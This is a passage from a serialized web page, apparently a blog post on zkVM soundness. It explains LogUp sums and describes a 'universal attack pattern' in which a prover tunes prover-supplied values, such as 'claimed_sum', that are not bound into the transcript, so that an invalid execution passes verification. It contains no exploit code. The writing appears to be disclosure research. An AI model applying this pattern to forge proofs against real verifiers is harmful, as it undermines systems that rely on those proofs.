22},{"className":113021,"style":3383},[3344],[],{"type":23,"tag":314,"props":113024,"children":113026},{"className":113025},[3264],[113027,113031,113124],{"type":23,"tag":314,"props":113028,"children":113030},{"className":113029},[20954,112817],[],{"type":23,"tag":314,"props":113032,"children":113034},{"className":113033},[112822],[113035],{"type":23,"tag":314,"props":113036,"children":113038},{"className":113037},[3285,20879],[113039,113113],{"type":23,"tag":314,"props":113040,"children":113042},{"className":113041},[3290],[113043,113108],{"type":23,"tag":314,"props":113044,"children":113046},{"className":113045,"style":112835},[3295],[113047,113077,113088],{"type":23,"tag":314,"props":113048,"children":113049},{"style":112839},[113050,113054],{"type":23,"tag":314,"props":113051,"children":113053},{"className":113052,"style":111470},[3304],[],{"type":23,"tag":314,"props":113055,"children":113057},{"className":113056},[3310,3311,3312,3313],[113058],{"type":23,"tag":314,"props":113059,"children":113061},{"className":113060},[3264,3313],[113062,113067,113072],{"type":23,"tag":314,"props":113063,"children":113065},{"className":113064,"style":112856},[3264,20825,3313],[113066],{"type":28,"value":112859},{"type":23,"tag":314,"props":113068,"children":113070},{"className":113069},[3350,3313],[113071],{"type":28,"value":3324},{"type":23,"tag":314,"props":113073,"children":113075},{"className":113074},[3264,20825,3313],[113076],{"type":28,"value":2477},{"type":23,"tag":314,"props":113078,"children":113079},{"style":112872},[113080,113084],{"type":23,"tag":314,"props":113081,"children":113083},{"className":113082,"style":111470},[3304],[],{"type":23,"tag":314,"props":113085,"children":113087},{"className":113086,"style":112882},[112881],[],{"type":23,"tag":314,"props":113089,"children":113090},{"style":112886},[113091,113095],{"type":23,"tag":314,"props":113092,"children":113094},{"className":113093,"style":111470},[3304],[],{"type":23,"tag":314,"props":113096,"children":113098},{"className":113097},[3310,3311,3312,3313],[113099],{"type":23,"tag":314,"props":113100,"children":113102},{"className":113101},[3264,3313],[113103],{"type":23,"tag":314,"props":113104,"children":113106},{"className":113105},[3264,3313],[113107],{"type":28,"value":3267},{"type":23,"tag":314,"props":113109,"children":113111},{"className":113110},[20982],[113112],{"type":28,"value":20985},{"type":23,"tag":314,"props":113114,"children":113116},{"className":113115},[3290],[113117],{"type":23,"tag":314,"props":113118,"children":113120},{"className":113119,"style":112917},[3295],[113121],{"type":23,"tag":314,"props":113122,"children":113123},{},[],{"type":23,"tag":314,"props":113125,"children":113127},{"className":113126},[20976,112817],[],{"type":23,"tag":24,"props":113129,"children":113130},{},[113131,113133,113158],{"type":28,"value":113132},"for random challenge ",{"type":23,"tag":94,"props":113134,"children":113136},{"className":113135},[3237,3238],[113137],{"type":23,"tag":314,"props":113138,"children":113140},{"className":113139},[3243],[113141],{"type":23,"tag":314,"props":113142,"children":113144},{"className":113143,"ariaHidden":1481},[3248],[113145],{"type":23,"tag":314,"props":113146,"children":113148},{"className":113147},[3253],[113149,113153],{"type":23,"tag":314,"props":113150,"children":113152},{"className":113151,"style":110140},[3258],[],{"type":23,"tag":314,"props":113154,"children":113156},{"className":113155,"style":112856},[3264,20825],[113157],{"type":28,"value":112859},{"type":28,"value":113159},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":113161,"children":113162},{},[113163,113168],{"type":23,"tag":721,"props":113164,"children":113165},{},[113166],{"type":28,"value":113167},"In zkVMs:",{"type":28,"value":113169}," Different components emit and consume lookup tuples:",{"type":23,"tag":127,"props":113171,"children":113172},{},[113173,113260],{"type":23,"tag":88,"props":113174,"children":113175},{},[113176,113178,113204,113206,113231,113233,113259],{"type":28,"value":113177},"CPU emits: \"I read value ",{"type":23,"tag":94,"props":113179,"children":113181},{"className":113180},[3237,3238],[113182],{"type":23,"tag":314,"props":113183,"children":113185},{"className":113184},[3243],[113186],{"type":23,"tag":314,"props":113187,"children":113189},{"className":113188,"ariaHidden":1481},[3248],[113190],{"type":23,"tag":314,"props":113191,"children":113193},{"className":113192},[3253],[113194,113198],{"type":23,"tag":314,"props":113195,"children":113197},{"className":113196,"style":110140},[3258],[],{"type":23,"tag":314,"props":113199,"children":113201},{"className":113200,"style":92785},[3264,20825],[113202],{"type":28,"value":113203},"v",{"type":28,"value":113205}," from address ",{"type":23,"tag":94,"props":113207,"children":113209},{"className":113208},[3237,3238],[113210],{"type":23,"tag":314,"props":113211,"children":113213},{"className":113212},[3243],[113214],{"type":23,"tag":314,"props":113215,"children":113217},{"className":113216,"ariaHidden":1481},[3248],[113218],{"type":23,"tag":314,"props":113219,"children":113221},{"className":113220},[3253],[113222,113226],{"type":23,"tag":314,"props":113223,"children":113225},{"className":113224,"style":110140},[3258],[],{"type":23,"tag":314,"props":113227,"children":113229},{"className":113228},[3264,20825],[113230],{"type":28,"value":31},{"type":28,"value":113232}," at time ",{"type":23,"tag":94,"props":113234,"children":113236},{"className":113235},[3237,3238],[113237],{"type":23,"tag":314,"props":113238,"children":113240},{"className":113239},[3243],[113241],{"type":23,"tag":314,"props":113242,"children":113244},{"className":113243,"ariaHidden":1481},[3248],[113245],{"type":23,"tag":314,"props":113246,"children":113248},{"className":113247},[3253],[113249,113254],{"type":23,"tag":314,"props":113250,"children":113253},{"className":113251,"style":113252},[3258],"height:0.6151em;",[],{"type":23,"tag":314,"props":113255,"children":113257},{"className":113256},[3264,20825],[113258],{"type":28,"value":20967},{"type":28,"value":19297},{"type":23,"tag":88,"props":113261,"children":113262},{},[113263,113265,113290,113292,113317,113319,113344],{"type":28,"value":113264},"Memory table consumes: \"At time ",{"type":23,"tag":94,"props":113266,"children":113268},{"className":113267},[3237,3238],[113269],{"type":23,"tag":314,"props":113270,"children":113272},{"className":113271},[3243],[113273],{"type":23,"tag":314,"props":113274,"children":113276},{"className":113275,"ariaHidden":1481},[3248],[113277],{"type":23,"tag":314,"props":113278,"children":113280},{"className":113279},[3253],[113281,113285],{"type":23,"tag":314,"props":113282,"children":113284},{"className":113283,"style":113252},[3258],[],{"type":23,"tag":314,"props":113286,"children":113288},{"className":113287},[3264,20825],[113289],{"type":28,"value":20967},{"type":28,"value":113291},", address ",{"type":23,"tag":94,"props":113293,"children":113295},{"className":113294},[3237,3238],[113296],{"type":23,"tag":314,"props":113297,"children":113299},{"className":113298},[3243],[113300],{"type":23,"tag":314,"props":113301,"children":113303},{"className":113302,"ariaHidden":1481},[3248],[113304],{"type":23,"tag":314,"props":113305,"children":113307},{"className":113306},[3253],[113308,113312],{"type":23,"tag":314,"props":113309,"children":113311},{"className":113310,"style":110140},[3258],[],{"type":23,"tag":314,"props":113313,"children":113315},{"className":113314},[3264,20825],[113316],{"type":28,"value":31},{"type":28,"value":113318}," contained ",{"type":23,"tag":94,"props":113320,"children":113322},{"className":113321},[3237,3238],[113323],{"type":23,"tag":314,"props":113324,"children":113326},{"className":113325},[3243],[113327],{"type":23,"tag":314,"props":113328,"children":113330},{"className":113329,"ariaHidden":1481},[3248],[113331],{"type":23,"tag":314,"props":113332,"children":113334},{"className":113333},[3253],[113335,113339],{"type":23,"tag":314,"props":113336,"children":113338},{"className":113337,"style":110140},[3258],[],{"type":23,"tag":314,"props":113340,"children":113342},{"className":113341,"style":92785},[3264,20825],[113343],{"type":28,"value":113203},{"type":28,"value":19297},{"type":23,"tag":24,"props":113346,"children":113347},{},[113348],{"type":28,"value":113349},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":113351,"children":113352},{},[113353,113358],{"type":23,"tag":721,"props":113354,"children":113355},{},[113356],{"type":28,"value":113357},"The claimed_sum:",{"type":28,"value":113359}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":113361,"children":113362},{},[113363],{"type":23,"tag":94,"props":113364,"children":113366},{"className":113365},[3237,3238],[113367],{"type":23,"tag":314,"props":113368,"children":113370},{"className":113369},[3243],[113371],{"type":23,"tag":314,"props":113372,"children":113374},{"className":113373,"ariaHidden":1481},[3248],[113375,113473,113724],{"type":23,"tag":314,"props":113376,"children":113378},{"className":113377},[3253],[113379,113383,113393,113398,113460,113464,113469],{"type":23,"tag":314,"props":113380,"children":113382},{"className":113381,"style":93712},[3258],[],{"type":23,"tag":314,"props":113384,"children":113386},{"className":113385},[3264,28],[113387],{"type":23,"tag":314,"props":113388,"children":113390},{"className":113389},[3264],[113391],{"type":28,"value":113392},"claimed",{"type":23,"tag":314,"props":113394,"children":113396},{"className":113395,"style":92299},[3264],[113397],{"type":28,"value":2338},{"type":23,"tag":314,"props":113399,"children":113401},{"className":113400},[3264],[113402,113411],{"type":23,"tag":314,"props":113403,"children":113405},{"className":113404},[3264,28],[113406],{"type":23,"tag":314,"props":113407,"children":113409},{"className":113408},[3264],[113410],{"type":28,"value":75884},{"type":23,"tag":314,"props":113412,"children":113414},{"className":113413},[3280],[113415],{"type":23,"tag":314,"props":113416,"children":113418},{"className":113417},[3285,20879],[113419,113449],{"type":23,"tag":314,"props":113420,"children":113422},{"className":113421},[3290],[113423,113444],{"type":23,"tag":314,"props":113424,"children":113426},{"className":113425,"style":92828},[3295],[113427],{"type":23,"tag":314,"props":113428,"children":113430},{"style":113429},"top:-2.55em;margin-right:0.05em;",[113431,113435],{"type":23,"tag":314,"props":113432,"children":113434},{"className":113433,"style":3305},[3304],[],{"type":23,"tag":314,"props":113436,"children":113438},{"className":113437},[3310,3311,3312,3313],[113439],{"type":23,"tag":314,"props":113440,"children":113442},{"className":113441},[3264,20825,3313],[113443],{"type":28,"value":2993},{"type":23,"tag":314,"props":113445,"children":113447},{"className":113446},[20982],[113448],{"type":28,"value":20985},{"type":23,"tag":314,"props":113450,"children":113452},{"className":113451},[3290],[113453],{"type":23,"tag":314,"props":113454,"children":113456},{"className":113455,"style":92382},[3295],[113457],{"type":23,"tag":314,"props":113458,"children":113459},{},[],{"type":23,"tag":314,"props":113461,"children":113463},{"className":113462,"style":3442},[3344],[],{"type":23,"tag":314,"props":113465,"children":113467},{"className":113466},[3447],[113468],{"type":28,"value":1102},{"type":23,"tag":314,"props":113470,"children":113472},{"className":113471,"style":3442},[3344],[],{"type":23,"tag":314,"props":113474,"children":113476},{"className":113475},[3253],[113477,113482,113542,113546,113711,113715,113720],{"type":23,"tag":314,"props":113478,"children":113481},{"className":113479,"style":113480},[3258],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":314,"props":113483,"children":113485},{"className":113484},[20861],[113486,113491],{"type":23,"tag":314,"props":113487,"children":113489},{"className":113488,"style":20868},[20861,20866,20867],[113490],{"type":28,"value":108094},{"type":23,"tag":314,"props":113492,"children":113494},{"className":113493},[3280],[113495],{"type":23,"tag":314,"props":113496,"children":113498},{"className":113497},[3285,20879],[113499,113530],{"type":23,"tag":314,"props":113500,"children":113502},{"className":113501},[3290],[113503,113525],{"type":23,"tag":314,"props":113504,"children":113507},{"className":113505,"style":113506},[3295],"height:0.162em;",[113508],{"type":23,"tag":314,"props":113509,"children":113510},{"style":20892},[113511,113515],{"type":23,"tag":314,"props":113512,"children":113514},{"className":113513,"style":3305},[3304],[],{"type":23,"tag":314,"props":113516,"children":113518},{"className":113517},[3310,3311,3312,3313],[113519],{"type":23,"tag":314,"props":113520,"children":113523},{"className":113521,"style":113522},[3264,20825,3313],"margin-right:0.05724em;",[113524],{"type":28,"value":7909},{"type":23,"tag":314,"props":113526,"children":113528},{"className":113527},[20982],[113529],{"type":28,"value":20985},{"type":23,"tag":314,"props":113531,"children":113533},{"className":113532},[3290],[113534],{"type":23,"tag":314,"props":113535,"children":113538},{"className":113536,"style":113537},[3295],"height:0.4358em;",[113539],{"type":23,"tag":314,"props":113540,"children":113541},{},[],{"type":23,"tag":314,"props":113543,"children":113545},{"className":113544,"style":3383},[3344],[],{"type":23,"tag":314,"props":113547,"children":113549},{"className":113548},[3264],[113550,113554,113707],{"type":23,"tag":314,"props":113551,"children":113553},{"className":113552},[20954,112817],[],{"type":23,"tag":314,"props":113555,"children":113557},{"className":113556},[112822],[113558],{"type":23,"tag":314,"props":113559,"children":113561},{"className":113560},[3285,20879],[113562,113695],{"type":23,"tag":314,"props":113563,"children":113565},{"className":113564},[3290],[113566,113690],{"type":23,"tag":314,"props":113567,"children":113569},{"className":113568,"style":112835},[3295],[113570,113659,113670],{"type":23,"tag":314,"props":113571,"children":113572},{"style":112839},[113573,113577],{"type":23,"tag":314,"props":113574,"children":113576},{"className":113575,"style":111470},[3304],[],{"type":23,"tag":314,"props":113578,"children":113580},{"className":113579},[3310,3311,3312,3313],[113581],{"type":23,"tag":314,"props":113582,"children":113584},{"className":113583},[3264,3313],[113585,113590,113595],{"type":23,"tag":314,"props":113586,"children":113588},{"className":113587,"style":112856},[3264,20825,3313],[113589],{"type":28,"value":112859},{"type":23,"tag":314,"props":113591,"children":113593},{"className":113592},[3350,3313],[113594],{"type":28,"value":3324},{"type":23,"tag":314,"props":113596,"children":113598},{"className":113597},[3264,3313],[113599,113608],{"type":23,"tag":314,"props":113600,"children":113602},{"className":113601},[3264,28,3313],[113603],{"type":23,"tag":314,"props":113604,"children":113606},{"className":113605},[3264,3313],[113607],{"type":28,"value":61260},{"type":23,"tag":314,"props":113609,"children":113611},{"className":113610},[3280],[113612],{"type":23,"tag":314,"props":113613,"children":113615},{"className":113614},[3285,20879],[113616,113647],{"type":23,"tag":314,"props":113617,"children":113619},{"className":113618},[3290],[113620,113642],{"type":23,"tag":314,"props":113621,"children":113624},{"className":113622,"style":113623},[3295],"height:0.3281em;",[113625],{"type":23,"tag":314,"props":113626,"children":113628},{"style":113627},"top:-2.357em;margin-right:0.0714em;",[113629,113633],{"type":23,"tag":314,"props":113630,"children":113632},{"className":113631,"style":108159},[3304],[],{"type":23,"tag":314,"props":113634,"children":113636},{"className":113635},[3310,108164,108165,3313],[113637],{"type":23,"tag":314,"props":113638,"children":113640},{"className":113639,"style":113522},[3264,20825,3313],[113641],{"type":28,"value":7909},{"type":23,"tag":314,"props":113643,"children":113645},{"className":113644},[20982],[113646],{"type":28,"value":20985},{"type":23,"tag":314,"props":113648,"children":113650},{"className":113649},[3290],[113651],{"type":23,"tag":314,"props":113652,"children":113655},{"className":113653,"style":113654},[3295],"height:0.2819em;",[113656],{"type":23,"tag":314,"props":113657,"children":113658},{},[],{"type":23,"tag":314,"props":113660,"children":113661},{"style":112872},[113662,113666],{"type":23,"tag":314,"props":113663,"children":113665},{"className":113664,"style":111470},[3304],[],{"type":23,"tag":314,"props":113667,"children":113669},{"className":113668,"style":112882},[112881],[],{"type":23,"tag":314,"props":113671,"children":113672},{"style":112886},[113673,113677],{"type":23,"tag":314,"props":113674,"children":113676},{"className":113675,"style":111470},[3304],[],{"type":23,"tag":314,"props":113678,"children":113680},{"className":113679},[3310,3311,3312,3313],[113681],{"type":23,"tag":314,"props":113682,"children":113684},{"className":113683},[3264,3313],[113685],{"type":23,"tag":314,"props":113686,"children":113688},{"className":113687},[3264,3313],[113689],{"type":28,"value":3267},{"type":23,"tag":314,"props":113691,"children":113693},{"className":113692},[20982],[113694],{"type":28,"value":20985},{"type":23,"tag":314,"props":113696,"children":113698},{"className":113697},[3290],[113699],{"type":23,"tag":314,"props":113700,"children":113703},{"className":113701,"style":113702},[3295],"height:0.5423em;",[113704],{"type":23,"tag":314,"props":113705,"children":113706},{},[],{"type":23,"tag":314,"props":113708,"children":113710},{"className":113709},[20976,112817],[],{"type":23,"tag":314,"props":113712,"children":113714},{"className":113713,"style":3345},[3344],[],{"type":23,"tag":314,"props":113716,"children":113718},{"className":113717},[3350],[113719],{"type":28,"value":3324},{"type":23,"tag":314,"props":113721,"children":113723},{"className":113722,"style":3345},[3344],[],{"type":23,"tag":314,"props":113725,"children":113727},{"className":113726},[3253],[113728,113733,113791,113795],{"type":23,"tag":314,"props":113729,"children":113732},{"className":113730,"style":113731},[3258],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":314,"props":113734,"children":113736},{"className":113735},[20861],[113737,113742],{"type":23,"tag":314,"props":113738,"children":113740},{"className":113739,"style":20868},[20861,20866,20867],[113741],{"type":28,"value":108094},{"type":23,"tag":314,"props":113743,"children":113745},{"className":113744},[3280],[113746],{"type":23,"tag":314,"props":113747,"children":113749},{"className":113748},[3285,20879],[113750,113779],{"type":23,"tag":314,"props":113751,"children":113753},{"className":113752},[3290],[113754,113774],{"type":23,"tag":314,"props":113755,"children":113757},{"className":113756,"style":112971},[3295],[113758],{"type":23,"tag":314,"props":113759,"children":113760},{"style":20892},[113761,113765],{"type":23,"tag":314,"props":113762,"children":113764},{"className":113763,"style":3305},[3304],[],{"type":23,"tag":314,"props":113766,"children":113768},{"className":113767},[3310,3311,3312,3313],[113769],{"type":23,"tag":314,"props":113770,"children":113772},{"className":113771,"style":93728},[3264,20825,3313],[113773],{"type":28,"value":87936},{"type":23,"tag":314,"props":113775,"children":113777},{"className":113776},[20982],[113778],{"type":28,"value":20985},{"type":23,"tag":314,"props":113780,"children":113782},{"className":113781},[3290],[113783],{"type":23,"tag":314,"props":113784,"children":113787},{"className":113785,"style":113786},[3295],"height:0.2997em;",[113788],{"type":23,"tag":314,"props":113789,"children":113790},{},[],{"type":23,"tag":314,"props":113792,"children":113794},{"className":113793,"style":3383},[3344],[],{"type":23,"tag":314,"props":113796,"children":113798},{"className":113797},[3264],[113799,113803,113956],{"type":23,"tag":314,"props":113800,"children":113802},{"className":113801},[20954,112817],[],{"type":23,"tag":314,"props":113804,"children":113806},{"className":113805},[112822],[113807],{"type":23,"tag":314,"props":113808,"children":113810},{"className":113809},[3285,20879],[113811,113944],{"type":23,"tag":314,"props":113812,"children":113814},{"className":113813},[3290],[113815,113939],{"type":23,"tag":314,"props":113816,"children":113818},{"className":113817,"style":112835},[3295],[113819,113908,113919],{"type":23,"tag":314,"props":113820,"children":113821},{"style":112839},[113822,113826],{"type":23,"tag":314,"props":113823,"children":113825},{"className":113824,"style":111470},[3304],[],{"type":23,"tag":314,"props":113827,"children":113829},{"className":113828},[3310,3311,3312,3313],[113830],{"type":23,"tag":314,"props":113831,"children":113833},{"className":113832},[3264,3313],[113834,113839,113844],{"type":23,"tag":314,"props":113835,"children":113837},{"className":113836,"style":112856},[3264,20825,3313],[113838],{"type":28,"value":112859},{"type":23,"tag":314,"props":113840,"children":113842},{"className":113841},[3350,3313],[113843],{"type":28,"value":3324},{"type":23,"tag":314,"props":113845,"children":113847},{"className":113846},[3264,3313],[113848,113858],{"type":23,"tag":314,"props":113849,"children":113851},{"className":113850},[3264,28,3313],[113852],{"type":23,"tag":314,"props":113853,"children":113855},{"className":113854},[3264,3313],[113856],{"type":28,"value":113857},"consume",{"type":23,"tag":314,"props":113859,"children":113861},{"className":113860},[3280],[113862],{"type":23,"tag":314,"props":113863,"children":113865},{"className":113864},[3285,20879],[113866,113896],{"type":23,"tag":314,"props":113867,"children":113869},{"className":113868},[3290],[113870,113891],{"type":23,"tag":314,"props":113871,"children":113873},{"className":113872,"style":111631},[3295],[113874],{"type":23,"tag":314,"props":113875,"children":113877},{"style":113876},"top:-2.3488em;margin-right:0.0714em;",[113878,113882],{"type":23,"tag":314,"props":113879,"children":113881},{"className":113880,"style":108159},[3304],[],{"type":23,"tag":314,"props":113883,"children":113885},{"className":113884},[3310,108164,108165,3313],[113886],{"type":23,"tag":314,"props":113887,"children":113889},{"className":113888,"style":93728},[3264,20825,3313],[113890],{"type":28,"value":87936},{"type":23,"tag":314,"props":113892,"children":113894},{"className":113893},[20982],[113895],{"type":28,"value":20985},{"type":23,"tag":314,"props":113897,"children":113899},{"className":113898},[3290],[113900],{"type":23,"tag":314,"props":113901,"children":113904},{"className":113902,"style":113903},[3295],"height:0.1512em;",[113905],{"type":23,"tag":314,"props":113906,"children":113907},{},[],{"type":23,"tag":314,"props":113909,"children":113910},{"style":112872},[113911,113915],{"type":23,"tag":314,"props":113912,"children":113914},{"className":113913,"style":111470},[3304],[],{"type":23,"tag":314,"props":113916,"children":113918},{"className":113917,"style":112882},[112881],[],{"type":23,"tag":314,"props":113920,"children":113921},{"style":112886},[113922,113926],{"type":23,"tag":314,"props":113923,"children":113925},{"className":113924,"style":111470},[3304],[],{"type":23,"tag":314,"props":113927,"children":113929},{"className":113928},[3310,3311,3312,3313],[113930],{"type":23,"tag":314,"props":113931,"children":113933},{"className":113932},[3264,3313],[113934],{"type":23,"tag":314,"props":113935,"children":113937},{"className":113936},[3264,3313],[113938],{"type":28,"value":3267},{"type":23,"tag":314,"props":113940,"children":113942},{"className":113941},[20982],[113943],{"type":28,"value":20985},{"type":23,"tag":314,"props":113945,"children":113947},{"className":113946},[3290],[113948],{"type":23,"tag":314,"props":113949,"children":113952},{"className":113950,"style":113951},[3295],"height:0.4509em;",[113953],{"type":23,"tag":314,"props":113954,"children":113955},{},[],{"type":23,"tag":314,"props":113957,"children":113959},{"className":113958},[20976,112817],[],{"type":23,"tag":24,"props":113961,"children":113962},{},[113963,113965,114147],{"type":28,"value":113964},"The global check: ",{"type":23,"tag":94,"props":113966,"children":113968},{"className":113967},[3237,3238],[113969],{"type":23,"tag":314,"props":113970,"children":113972},{"className":113971},[3243],[113973],{"type":23,"tag":314,"props":113974,"children":113976},{"className":113975,"ariaHidden":1481},[3248],[113977,114134],{"type":23,"tag":314,"props":113978,"children":113980},{"className":113979},[3253],[113981,113985,114042,114046,114055,114060,114121,114125,114130],{"type":23,"tag":314,"props":113982,"children":113984},{"className":113983,"style":92241},[3258],[],{"type":23,"tag":314,"props":113986,"children":113988},{"className":113987},[20861],[113989,113994],{"type":23,"tag":314,"props":113990,"children":113992},{"className":113991,"style":20868},[20861,20866,20867],[113993],{"type":28,"value":108094},{"type":23,"tag":314,"props":113995,"children":113997},{"className":113996},[3280],[113998],{"type":23,"tag":314,"props":113999,"children":114001},{"className":114000},[3285,20879],[114002,114031],{"type":23,"tag":314,"props":114003,"children":114005},{"className":114004},[3290],[114006,114026],{"type":23,"tag":314,"props":114007,"children":114009},{"className":114008,"style":113506},[3295],[114010],{"type":23,"tag":314,"props":114011,"children":114012},{"style":20892},[114013,114017],{"type":23,"tag":314,"props":114014,"children":114016},{"className":114015,"style":3305},[3304],[],{"type":23,"tag":314,"props":114018,"children":114020},{"className":114019},[3310,3311,3312,3313],[114021],{"type":23,"tag":314,"props":114022,"children":114024},{"className":114023},[3264,20825,3313],[114025],{"type":28,"value":2993},{"type":23,"tag":314,"props":114027,"children":114029},{"className":114028},[20982],[114030],{"type":28,"value":20985},{"type":23,"tag":314,"props":114032,"children":114034},{"className":114033},[3290],[114035],{"type":23,"tag":314,"props":114036,"children":114038},{"className":114037,"style":113786},[3295],[114039],{"type":23,"tag":314,"props":114040,"children":114041},{},[],{"type":23,"tag":314,"props":114043,"children":114045},{"className":114044,"style":3383},[3344],[],{"type":23,"tag":314,"props":114047,"children":114049},{"className":114048},[3264,28],[114050],{"type":23,"tag":314,"props":114051,"children":114053},{"className":114052},[3264],[114054],{"type":28,"value":113392},{"type":23,"tag":314,"props":114056,"children":114058},{"className":114057,"style":92299},[3264],[114059],{"type":28,"value":2338},{"type":23,"tag":314,"props":114061,"children":114063},{"className":114062},[3264],[114064,114073],{"type":23,"tag":314,"props":114065,"children":114067},{"className":114066},[3264,28],[114068],{"type":23,"tag":314,"props":114069,"children":114071},{"className":114070},[3264],[114072],{"type":28,"value":75884},{"type":23,"tag":314,"props":114074,"children":114076},{"className":114075},[3280],[114077],{"type":23,"tag":314,"props":114078,"children":114080},{"className":114079},[3285,20879],[114081,114110],{"type":23,"tag":314,"props":114082,"children":114084},{"className":114083},[3290],[114085,114105],{"type":23,"tag":314,"props":114086,"children":114088},{"className":114087,"style":92828},[3295],[114089],{"type":23,"tag":314,"props":114090,"children":114091},{"style":113429},[114092,114096],{"type":23,"tag":314,"props":114093,"children":114095},{"className":114094,"style":3305},[3304],[],{"type":23,"tag":314,"props":114097,"children":114099},{"className":114098},[3310,3311,3312,3313],[114100],{"type":23,"tag":314,"props":114101,"children":114103},{"className":114102},[3264,20825,3313],[114104],{"type":28,"value":2993},{"type":23,"tag":314,"props":114106,"children":114108},{"className":114107},[20982],[114109],{"type":28,"value":20985},{"type":23,"tag":314,"props":114111,"children":114113},{"className":114112},[3290],[114114],{"type":23,"tag":314,"props":114115,"children":114117},{"className":114116,"style":92382},[3295],[114118],{"type":23,"tag":314,"props":114119,"children":114120},{},[],{"type":23,"tag":314,"props":114122,"children":114124},{"className":114123,"style":3442},[3344],[],{"type":23,"tag":314,"props":114126,"children":114128},{"className":114127},[3447],[114129],{"type":28,"value":1102},{"type":23,"tag":314,"props":114131,"children":114133},{"className":114132,"style":3442},[3344],[],{"type":23,"tag":314,"props":114135,"children":114137},{"className":114136},[3253],[114138,114142],{"type":23,"tag":314,"props":114139,"children":114141},{"className":114140,"style":93330},[3258],[],{"type":23,"tag":314,"props":114143,"children":114145},{"className":114144},[3264],[114146],{"type":28,"value":1600},{"type":28,"value":282},{"type":23,"tag":24,"props":114149,"children":114150},{},[114151,114156,114158,114164],{"type":23,"tag":721,"props":114152,"children":114153},{},[114154],{"type":28,"value":114155},"Why this is vulnerable:",{"type":28,"value":114157}," The ",{"type":23,"tag":94,"props":114159,"children":114161},{"className":114160},[],[114162],{"type":28,"value":114163},"claimed_sum",{"type":28,"value":114165}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":18031,"props":114167,"children":114168},{},[],{"type":23,"tag":61,"props":114170,"children":114172},{"id":114171},"the-universal-attack-pattern",[114173],{"type":28,"value":114174},"The Universal Attack Pattern",{"type":23,"tag":24,"props":114176,"children":114177},{},[114178],{"type":28,"value":114179},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":114181,"children":114182},{},[114183],{"type":23,"tag":197,"props":114184,"children":114187},{"alt":114185,"src":114186},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":114189,"children":114190},{},[114191,114193,114218],{"type":28,"value":114192},"When a value ",{"type":23,"tag":94,"props":114194,"children":114196},{"className":114195},[3237,3238],[114197],{"type":23,"tag":314,"props":114198,"children":114200},{"className":114199},[3243],[114201],{"type":23,"tag":314,"props":114202,"children":114204},{"className":114203,"ariaHidden":1481},[3248],[114205],{"type":23,"tag":314,"props":114206,"children":114208},{"className":114207},[3253],[114209,114213],{"type":23,"tag":314,"props":114210,"children":114212},{"className":114211,"style":20820},[3258],[],{"type":23,"tag":314,"props":114214,"children":114216},{"className":114215,"style":107497},[3264,20825],[114217],{"type":28,"value":107821},{"type":28,"value":114219}," isn't transcript-bound:",{"type":23,"tag":84,"props":114221,"children":114222},{},[114223,114254,114331,114476],{"type":23,"tag":88,"props":114224,"children":114225},{},[114226,114228,114253],{"type":28,"value":114227},"Challenges are fixed (independent of ",{"type":23,"tag":94,"props":114229,"children":114231},{"className":114230},[3237,3238],[114232],{"type":23,"tag":314,"props":114233,"children":114235},{"className":114234},[3243],[114236],{"type":23,"tag":314,"props":114237,"children":114239},{"className":114238,"ariaHidden":1481},[3248],[114240],{"type":23,"tag":314,"props":114241,"children":114243},{"className":114242},[3253],[114244,114248],{"type":23,"tag":314,"props":114245,"children":114247},{"className":114246,"style":20820},[3258],[],{"type":23,"tag":314,"props":114249,"children":114251},{"className":114250,"style":107497},[3264,20825],[114252],{"type":28,"value":107821},{"type":28,"value":431},{"type":23,"tag":88,"props":114255,"children":114256},{},[114257,114259],{"type":28,"value":114258},"The verification equation has form: ",{"type":23,"tag":94,"props":114260,"children":114262},{"className":114261},[3237,3238],[114263],{"type":23,"tag":314,"props":114264,"children":114266},{"className":114265},[3243],[114267],{"type":23,"tag":314,"props":114268,"children":114270},{"className":114269,"ariaHidden":1481},[3248],[114271,114312],{"type":23,"tag":314,"props":114272,"children":114274},{"className":114273},[3253],[114275,114279,114284,114289,114294,114299,114303,114308],{"type":23,"tag":314,"props":114276,"children":114278},{"className":114277,"style":3365},[3258],[],{"type":23,"tag":314,"props":114280,"children":114282},{"className":114281,"style":94653},[3264,20825],[114283],{"type":28,"value":32333},{"type":23,"tag":314,"props":114285,"children":114287},{"className":114286},[20954],[114288],{"type":28,"value":341},{"type":23,"tag":314,"props":114290,"children":114292},{"className":114291,"style":107497},[3264,20825],[114293],{"type":28,"value":107821},{"type":23,"tag":314,"props":114295,"children":114297},{"className":114296},[20976],[114298],{"type":28,"value":431},{"type":23,"tag":314,"props":114300,"children":114302},{"className":114301,"style":3442},[3344],[],{"type":23,"tag":314,"props":114304,"children":114306},{"className":114305},[3447],[114307],{"type":28,"value":1102},{"type":23,"tag":314,"props":114309,"children":114311},{"className":114310,"style":3442},[3344],[],{"type":23,"tag":314,"props":114313,"children":114315},{"className":114314},[3253],[114316,114321],{"type":23,"tag":314,"props":114317,"children":114320},{"className":114318,"style":114319},[3258],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":114322,"children":114324},{"className":114323},[3264,28],[114325],{"type":23,"tag":314,"props":114326,"children":114328},{"className":114327},[3264],[114329],{"type":28,"value":114330},"target",{"type":23,"tag":88,"props":114332,"children":114333},{},[114334,114335,114361,114363],{"type":28,"value":6735},{"type":23,"tag":94,"props":114336,"children":114338},{"className":114337},[3237,3238],[114339],{"type":23,"tag":314,"props":114340,"children":114342},{"className":114341},[3243],[114343],{"type":23,"tag":314,"props":114344,"children":114346},{"className":114345,"ariaHidden":1481},[3248],[114347],{"type":23,"tag":314,"props":114348,"children":114350},{"className":114349},[3253],[114351,114356],{"type":23,"tag":314,"props":114352,"children":114355},{"className":114353,"style":114354},[3258],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":114357,"children":114359},{"className":114358,"style":94653},[3264,20825],[114360],{"type":28,"value":32333},{"type":28,"value":114362}," is linear: 